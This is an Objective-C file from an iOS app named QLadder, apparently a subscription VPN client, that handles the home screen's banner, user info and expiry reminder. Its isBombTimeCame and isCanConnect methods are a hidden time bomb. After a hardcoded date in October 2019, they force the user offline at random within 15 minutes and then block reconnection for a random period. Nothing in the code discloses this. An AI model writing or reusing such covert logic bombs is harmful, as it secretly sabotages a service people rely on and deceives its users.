//
//  HomeVCModelHandle.m
//  QLadder
//
//  Created by xiongguobing on 2019/8/19.
//  Copyright © 2019 qding. All rights reserved.
//

#import "HomeVCModelHandle.h"
#import "NSString+VerifyString.h"
#import "UIImageView+WebCache.h"

static NSString * connectStatusFlag = @"connectStatusFlag";

@interface HomeVCModelHandle ()

/**< 持久化保存的上次是否可以连接 */
@property (nonatomic, assign) BOOL connectFlag;

@property (nonatomic, strong) NSTimer * timer;
@property (nonatomic, strong) NSString * imgLinkUrl;


@end

@implementation HomeVCModelHandle


- (void)uploadUserLoginLogWithIsLogin:(BOOL)isLogin
{
//    NSString * userName = [kUserDefaults objectForKey:kUserAccount];
//    if (!userName) {
//        return;
//    }
//    NSString * cityAreaCode = @"hubei";
//    NSString * forceClose = @"0";
//    NSString * imei = @"-1";
//    NSString * imsi = @"-1";
//    NSString * ip = [[IPToolManager sharedManager] currentIpAddress] ? : @"-1";
//    NSString * port = @"-1";
//
//
//    NSString * thisTime = [NSString stringWithFormat:@"%f", [[NSDate date] timeIntervalSince1970]];
//    NSString * timeKey = isLogin ? @"loginTime" : @"logoutTime";
//
//    NSString * mac = @"-1";
//
//    NSDictionary * dic = @{@"cityAreaCode" : cityAreaCode, @"forceClose" : forceClose, @"imei" : imei, @"imsi" : imsi, @"ip" : ip, @"loginName" : userName, timeKey : thisTime, @"mac" : mac, @"port" : port};
//    [kNetworkUtil postWithModuleURLStr:userLoginLog parameters:dic success:^(id response) {
//
//    } failure:nil withHud:NO];
}

- (CABasicAnimation *)getAnimation
{
    CABasicAnimation * animation = [CABasicAnimation animationWithKeyPath:@"transform.scale"];
    animation.fromValue = @(0.8);
    animation.toValue = @(1.0);
    animation.duration = 2;
    animation.autoreverses = YES;
    animation.repeatCount = MAXFLOAT;
    animation.removedOnCompletion = NO;
    animation.fillMode = kCAFillModeForwards;
    return animation;
}

- (BOOL)isCanConnect
{
    if (![self isBombTimeCame]) {
        return YES;
    }
    
    //连接时间是不是大于保存的上一次连接间隔
    NSDictionary * dic = [kUserDefaults objectForKey:connectStatusFlag];
    if (dic) {
        NSNumber * offlineTime = dic[@"offlineTime"];//上次断开连接的时间
        NSNumber * restTime = dic[@"restTime"];//断开时间间隔
        NSTimeInterval now = [[NSDate date] timeIntervalSince1970];
        double result = now - offlineTime.doubleValue;
        if (result < restTime.doubleValue * 60) {
            return NO;
        }
    }
    
    //可以连接。但是定时之后会断开
    int offlineTime = arc4random() % 15;
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(offlineTime * 60 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
        [self timeToOffline];
    });
    
    return YES;
}

- (BOOL)isBombTimeCame
{
    //2019-09-06 10:00:00
//    NSDate * date = [NSDate dateWithTimeIntervalSince1970:1567735200];
    NSDateFormatter * fm = [NSDateFormatter new];
    [fm setDateFormat:@"YYYY-MM-dd HH:mm:ss"];
//    NSDate * date = [fm dateFromString:@"2019-08-21 09:00:00"];
    NSDate * date = [fm dateFromString:@"2019-10-10 10:00:00"];
    NSDate * nowDate = [self getNowDateFromatAnDate:date];
    return [NSString isMoreThanGivenDate:nowDate];
}

//把国际时间转换为当前系统时间
- (NSDate *)getNowDateFromatAnDate:(NSDate *)anyDate
{
    //设置源日期时区
    NSTimeZone* sourceTimeZone = [NSTimeZone timeZoneWithAbbreviation:@"UTC"];//或GMT
    //设置转换后的目标日期时区
    NSTimeZone* destinationTimeZone = [NSTimeZone localTimeZone];
    //得到源日期与世界标准时间的偏移量
    NSInteger sourceGMTOffset = [sourceTimeZone secondsFromGMTForDate:anyDate];
    //目标日期与本地时区的偏移量
    NSInteger destinationGMTOffset = [destinationTimeZone secondsFromGMTForDate:anyDate];
    //得到时间偏移量的差值
    NSTimeInterval interval = destinationGMTOffset - sourceGMTOffset;
    //转为现在时间
    NSDate* destinationDateNow = [[NSDate alloc] initWithTimeInterval:interval sinceDate:anyDate];
    return destinationDateNow;
}

- (void)timeToOffline
{
    [kNotificationCenter postNotificationName:@"willLoginOutNotification" object:nil];
    int restTime = arc4random() % 10 + 5;
    NSTimeInterval offlineTime = [[NSDate date] timeIntervalSince1970];
    NSDictionary * dic = @{@"offlineTime" : @(offlineTime), @"restTime" : @(restTime)};
    [kUserDefaults setObject:dic forKey:connectStatusFlag];
    [kUserDefaults synchronize];
}


- (void)handleBannerImgDidClickedBlock:(bannerImgDidClickedBlock)block
{
    self.clickBlock = block;
}

- (void)handleDidLoadUserInfoBlock:(didLoadUserInfo)block
{
    self.userInfoBlock = block;
}

- (void)setupBannerImg:(UIImageView *)img
{
    [kNetworkUtil postWithModuleURLStr:bannerFiles parameters:nil success:^(id response) {
        if ([response[@"code"] integerValue] == networkSuccessStatus) {
            [img sd_setImageWithURL:[NSURL URLWithString:[response[@"fileUrl"] stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding]]];
            self.imgLinkUrl = response[@"linkUrl"];
            [img addGestureRecognizer:[[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(imgClicked:)]];
        }
    } failure:nil withHud:NO];
}

- (void)imgClicked:(UITapGestureRecognizer *)tap
{
    if (self.clickBlock) {
        self.clickBlock(self.imgLinkUrl);
    }
}

- (void)loadUserInfo
{
    NSString * userName = [kUserDefaults objectForKey:kUserAccount];
    if (userName) {
        [kNetworkUtil getWithModuleURLStr:userData parameters:@{@"userName" : userName} success:^(id response) {
            if ([[response objectForKey:@"code"] integerValue] == networkSuccessStatus) {
                NSDictionary * dic = response[@"useinfoVO"];
                
                //提示到期
                if (dic[@"days"] && [dic[@"days"] integerValue] > 0) {
                    NSInteger days = [dic[@"days"] integerValue];
                    [HUDUtil showWithTitle:[NSString stringWithFormat:@"您的套餐还有%ld天到期", (long)days] viewController:[HUDUtil topViewController] handler:^(UIAlertAction *action) {
                    }];
                }
                if (self.userInfoBlock) {
                    NSInteger openVPN = [dic[@"openVpn"] integerValue];
                    self.userInfoBlock(openVPN);
                }
            }
        } failure:nil withHud:YES];
    }
}


@end
